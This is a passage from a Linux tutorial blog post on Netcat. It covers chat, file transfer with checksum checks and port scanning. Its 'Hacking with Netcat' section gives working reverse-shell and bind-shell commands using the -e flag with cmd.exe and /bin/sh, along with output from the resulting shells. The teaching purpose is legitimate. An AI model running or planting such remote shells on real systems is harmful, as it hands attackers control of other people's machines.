<p>In this case, the second IP (<strong>192.168.33.10</strong>) is the one I can connect to on my local network via Netcat.</p>



<p>I usually use the <code>ip addr</code> method.</p>



<p>We&#8217;ll refer to the computers as:</p>



<ol class="wp-block-list"><li><strong>Machine 1</strong> &#8211; the computer whose private IP address we&#8217;ve determined, where we will create the server and listen on port 4000</li><li><strong>Machine 2</strong> &#8211; the computer that we&#8217;ll use to connect to <strong>Machine 1</strong></li></ol>



<p>Now, assuming that you&#8217;ve found your private IP address for <strong>Machine 1</strong>, create a server on it, listening on any port (I&#8217;ll use 4000). To do this run:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>


<div class="codeblock-title">Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now Netcat will be listening on <strong>Machine 1</strong> which has the IP address of <code>192.168.145.131</code>. <em>This is our server</em>.</p>



<p>Now let&#8217;s connect to this server from another device within our local network (which is <strong>Machine 2</strong>.</p>



<p>We&#8217;ll use the server&#8217;s IP address and port to connect to it. Run the following command, replacing the IP with your machine&#8217;s private IP address:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000</pre>


<div class="codeblock-title">OutputMachine 2 (Client)</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>As we can see our client has connected to the server. If we take a look at our server we’ll instantly see the machine connected to it:</p>


<div class="codeblock-title">Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.</pre>



<p>Now the client-server connection has been established. You can type in anything in any of the machines and you’ll see the message instantly on the other machine. Here are the commands and outputs of each machine:</p>


<div class="codeblock-title">Command + Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted prompt">n -vlp 4000

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000
Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.
Hi. Can you see this?
Yes, I can. Hi!
So what are you thinking about?
Oh, you know, tutorials &amp; stuff.</pre>


<div class="codeblock-title">Command + Output Machine 2 (Client)</div>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
Hi. Can you see this?
Yes, I can. Hi!
So what are you thinking about?
Oh, you know, tutorials &amp; stuff.</pre>



<h4 id="video-demo-of-creating-a-simple-chat-using-netcat" class="wp-block-heading">[Video] Demo of creating a simple chat using Netcat</h4>



<p>Here&#8217;s a very short video demonstrating this. On the left there&#8217;s what we call <strong>Machine 1</strong>, which is an Ubuntu 20.04 virtual machine, and on the left I&#8217;m using Cmder on Windows 10.</p>



<a href="https://nooblinux.com/how-to-use-netcat/" data-wpel-link="internal"><img decoding="async" src="https://nooblinux.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=%2F%2Fi.ytimg.com%2Fvi%2FrVYvElK9CBU%2Fhqdefault.jpg" alt="YouTube Video"></a><br /><br /></p>



<h3 id="within-a-single-computer" class="wp-block-heading">Within a single computer</h3>



<p>If you do not have access to another computer in your local network, you can also try this on your computer with two terminals.</p>



<p>Open two terminals and just follow the same procedure with the <code>nc</code> command.</p>



<p>Create a server and a client and you can send text from one to the other terminal and communicate between them in real-time.</p>



<h2 id="transferring-files-between-two-hosts-using-netcat" class="wp-block-heading">Transferring files between two hosts using Netcat</h2>



<p>You’ve already seen how Netcat can send texts from one host to another using the client-server setup. Now let’s learn to send some more useful things rather than just texts.</p>



<p>You can send any file over netcat. There are two ways to do this:</p>



<ol class="wp-block-list"><li>Serve the file on the Netcat server</li><li>Push the file from the client side</li></ol>



<p>We&#8217;ll cover both.</p>



<h3 id="serve-the-file-from-a-server" class="wp-block-heading">Serve the file from a server</h3>



<p>Let’s start with how to serve the file using the Netcat server.</p>



<p>In this method, the server has to be created on the machine that contains the file.</p>



<p>Pipe the file into the server:</p>


<div class="codeblock-title">Server Command</div>



<pre class="wp-block-preformatted prompt">cat nooblinux_assets.zip | nc -vlp 4000</pre>


<div class="codeblock-title">Server Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>On the other machine (also known as the client), type in the following to connect to the server and save the file, replacing the IP with your machine&#8217;s private IP:</p>


<div class="codeblock-title">Client Command</div>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 &gt; nooblinux_assets.zip</pre>



<p>You will see the typical output.</p>


<div class="codeblock-title">Client Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>And on the first machine (the server) you will see the typical output as we&#8217;ve seen before, when the other machine connects to it:</p>


<div class="codeblock-title">Server Output</div>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.</pre>



<p>Your file will transfer. But you might notice a problem with this method immediately – there’s no indication if the file completed transferring or not. The connection stays open.</p>



<p>This brings us to the second method.</p>



<h3 id="push-the-file-to-the-server-from-the-client" class="wp-block-heading">Push the file to the server from the client</h3>



<p>Now we’ll just listen on a port on the server and <em>save whatever comes to it</em> instead of serving the file.</p>



<p>This means the machine with the file will be the client and it will send the file to the server.</p>



<p>Let’s create a server and save the incoming data:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 &gt; whatever_may_come.zip</pre>


<div class="codeblock-title">Output Server</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now let’s connect the client to the server and push the file:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 &lt; nooblinux_assets.zip</pre>


<div class="codeblock-title">Output Client</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
Ncat: 245394 bytes sent, 0 bytes received in 7.04 seconds.</pre>



<p>This method works much better than the previous. It closes the connection as soon as the file is transferred.</p>



<p>So, you know that the file was successfully transferred and don’t have to worry about unfinished file transfer.</p>



<h3 id="checking-if-the-file-transfer-was-successful" class="wp-block-heading">Checking if the file transfer was successful</h3>



<p>You can check if the file you downloaded was finished transferring properly or if it is not the same file you wanted to download.</p>



<p>Checking the checksum of the file will reveal if the files are the same or not.</p>



<p>A simple way to do this is using the <code>md5sum</code> tool which uses the <strong>md5 hash algorithm</strong>.</p>



<p class="neon-border">On Windows you have <code>md5sum.exe</code> and you can run it like in the following examples, but only replace <strong>md5sum</strong> with <strong>md5sum.exe</strong>.</p>



<p>In my case,run the commands on each of the files (the original one and the received one) so you can check if the resulting checksums are identical.</p>


<div class="codeblock-title">md5sum pushed file</div>



<pre class="wp-block-preformatted">md5sum nooblinux_assets.zip</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">3ba304b2acf42467b68ee9df05e5883e *nooblinux_assets.zip</pre>


<div class="codeblock-title">md5sum received file</div>



<pre class="wp-block-preformatted">md5sum whatever.zip</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">3ba304b2acf42467b68ee9df05e5883e  whatever.zip</pre>



<p>If the hashes match up then they are the same file. This is a very simple yet quite effective method to check if the file transferred successfully.</p>



<p>That’s why you’ll see many websites provide the checksums of their files so you can crosscheck if you downloaded the same file or not. This is very important since hackers can alter your download with a malicious file.</p>



<h2 id="scanning-ports-with-traditional-netcat" class="wp-block-heading">Scanning ports with traditional Netcat</h2>



<p>The traditional Netcat gives you the option to perform basic port scanning.</p>



<p class="blag-bg">As we mentioned in the beginning of this tutorial,&nbsp;<strong>Ncat</strong> lacks this feature, since it&#8217;s &#8220;big brother&#8221;, Nmap, already has advanced port scanning capabilities.<br><br>If you&#8217;d like to learn more about it, you can check our <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">comprehensive tutorial on how to use Nmap<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>On Netcat, you can use the <code>-z</code> flag that doesn’t include the input/output and only tries to connect to the ports and finds out which ones are open.</p>



<p>Let’s scan a single port:</p>



<pre class="wp-block-preformatted prompt">netcat -vz nooblinux.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Connection to nooblinux.com 443 port [tcp/https] succeeded!</pre>



<p>To scan a range of ports, use the following syntax. The “-w” flag tells it to wait for the seconds specified after it. In this case, it’ll wait 1 second for each request –</p>



<pre class="wp-block-preformatted prompt">netcat -vzw1 scanme.nmap.org 20-25</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">netcat: connect to scanme.nmap.org port 20 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 20 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 21 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 21 (tcp) failed: Connection refused
Connection to scanme.nmap.org 22 port [tcp/ssh] succeeded!
netcat: connect to scanme.nmap.org port 23 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 23 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 24 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 24 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 25 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 25 (tcp) failed: Connection refused</pre>



<p>As you can see from the output, port 22 (ssh) is open.</p>



<p>You can also scan UDP ports using the <code>-u</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -vzuw1 scanme.nmap.org 20-25</pre>



<h2 id="hacking-with-netcat" class="wp-block-heading">Hacking with Netcat</h2>



<p>Hackers and penetration testers often use Netcat to get shell access in a remote system.</p>



<p>If you have a machine with remote code execution capabilities, you can use Netcat to create a reverse shell or a backdoor in that machine.</p>



<p>This allows you to execute commands as a user on that machine.</p>



<p>There are two ways to do this. You can either:</p>



<ol class="wp-block-list"><li>create a <strong>reverse shell</strong></li><li>create a <strong>bind shell</strong></li></ol>



<h4 id="reverse-shell" class="wp-block-heading">Reverse Shell</h4>



<p>In a reverse shell, the attack machine listens on a specific port and the target machine initiates a shell and connects to the attack machine.</p>



<h4 id="bind-shell" class="wp-block-heading">Bind Shell</h4>



<p>In the bind shell, the target machine initiates the shell and listens to a port. The attacker machine connects to the target machine and gets shell access.</p>



<p class="orange-border"><strong>Notice:</strong> We’ll be using the <code>-e</code> flag on <strong>Ncat</strong> to execute after connection. If you see the <code>-e</code> flag is not supported in the version of Netcat you’re using, install another one.</p>



<h3 id="creating-a-reverse-shell-using-netcat" class="wp-block-heading">Creating a Reverse Shell using Netcat</h3>



<p>To create a reverse shell with Netcat, start a server with any port listening on the <strong>attacking machine</strong>. You&#8217;ll then connect to it from the <strong>target machine</strong>. Then you&#8217;ll be able to execute commands on the target machine from the attacking machine.</p>



<p>I&#8217;ll use a Windows 10 machine and an Ubuntu 20.04 machine and try it both ways. The difference will be that when we execute remote code on Windows, we&#8217;ll use <em>Windows Command Prompt</em> <code>cmd.exe</code> instead of the <em>Bourne <strong>sh</strong>ell</em> <code>sh</code>.</p>



<p>Let&#8217;s see how that works.</p>



<h4 id="attacker-linux-target-windows" class="wp-block-heading">Attacker: Linux / Target: Windows</h4>



<p>Run the following command on the attacking machine (you can use another port, I&#8217;ll use 4000):</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now connect from the target machine with the shell access using the <code>-e</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 -e cmd.exe</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>On the attacking machine, you’ll see the connection message:</p>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:19095.
Microsoft Windows [Version 10.0.19042.1083]
(c) Microsoft Corporation. All rights reserved.

D:\Downloads&gt;</pre>



<p>I ran the command from the <code>D:\Downloads&gt;</code>.</p>



<p>Now you can type in some commands in the attack machine, and you’ll get replies from the target machine shell:</p>



<pre class="wp-block-preformatted">D:\Downloads&gt;whoami</pre>



<pre class="wp-block-preformatted">whoami
desktop-0i9jobe\shway</pre>



<p>Here, I typed in the <code>whoami</code> command to see the current user (<code>whoami</code> also works on Windows 10). As you can see, it’s <strong>desktop-0i9jobe\shway</strong>. That&#8217;s my desktop name and username.</p>



<p>Let’s execute more commands:</p>



<pre class="wp-block-preformatted">D:\Downloads&gt;ls</pre>



<pre class="wp-block-preformatted">nooblinux_assets.zip
some_wallpaper.png
an_emoji.png
verification.jpeg
rufus.exe</pre>



<p>You can execute commands on the target machine using the reverse shell like this from the attack machine.</p>



<h4 id="attacker-windows-target-linux" class="wp-block-heading">Attacker: Windows / Target: Linux</h4>



<p>Now let&#8217;s execute code remotely from Windows on Linux.</p>



<p>First we again create a server on our attacking machine, which is the Windows machine in my case (use the port of your choice):</p>



<pre class="wp-block-preformatted promptwin">nc -vlp 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>And we&#8217;ll connect from the target machine (the Linux machine):</p>



<pre class="wp-block-preformatted promptwin">nc -v 192.168.100.16 4000 -e /bin/sh</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.100.16:4000.</pre>



<p>You won&#8217;t see any prompt symbol, but now we should be able to execute commands from the Windows machine and onto the Linux machine.</p>



<pre class="wp-block-preformatted">whoami</pre>



<pre class="wp-block-preformatted">ed</pre>



<p>My user on the Linux machine is <code>ed</code>, so that&#8217;s correct.</p>



<pre class="wp-block-preformatted">hostname</pre>



<pre class="wp-block-preformatted">nooblinux</pre>



<p>We can execute many more commands but that is beyond the scope of this tutorial. I hope the above examples have given you an idea of what you can do.</p>



<h3 id="creating-a-bind-shell-with-netcat" class="wp-block-heading">Creating a Bind Shell with Netcat</h3>



<p>Bind shell achieves the same purpose as the reverse shell. However, the process to create a bind shell is the opposite.</p>



<p>To create a bind shell, setup the target machine to listen on a port with shell access. As before, you will have to mention the appropriate command line interpreter. On Linux you can typically go with <code>/bin/sh</code> and on Windows with <code>cmd.exe</code>.</p>



<p class="black-bg">We won&#8217;t go into Linux-&gt;Windows, Windows-&gt;Linux scenarios such as we did for the reverse shell, but a simple example should give you a good idea of how to go about it both ways.</p>


<div class="codeblock-title">Set up a Linux target machine</div>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 -e /bin/sh</pre>


<div class="codeblock-title">Set up a Windows target machine</div>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 -e cmd.exe</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>After that, you just have to connect to the target from the attack machine:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>Now you can execute commands from the attack machine. Remember, you may not see a <strong>prompt symbol</strong>, but you can execute commands normally.</p>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
whoami
ed
pwd
/home/ed
ls
file
file.log
file.log.save
file.txt
master_downloaded.zip
master_serve.zip</pre>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>In this tutorial, we covered the fundamentals of the Netcat utility. We hoped that you liked it and that it was easy to read and understand. You can learn more about <strong>Ncat</strong> from the <a href="https://nmap.org/ncat/guide/index.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Ncat Users&#8217; Guide on Nmap.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. If you have any problems feel free to leave a comment or contact us and we’ll get back to you as soon as possible.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-use-netcat/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3208</post-id>	</item>
	</channel>
</rss>
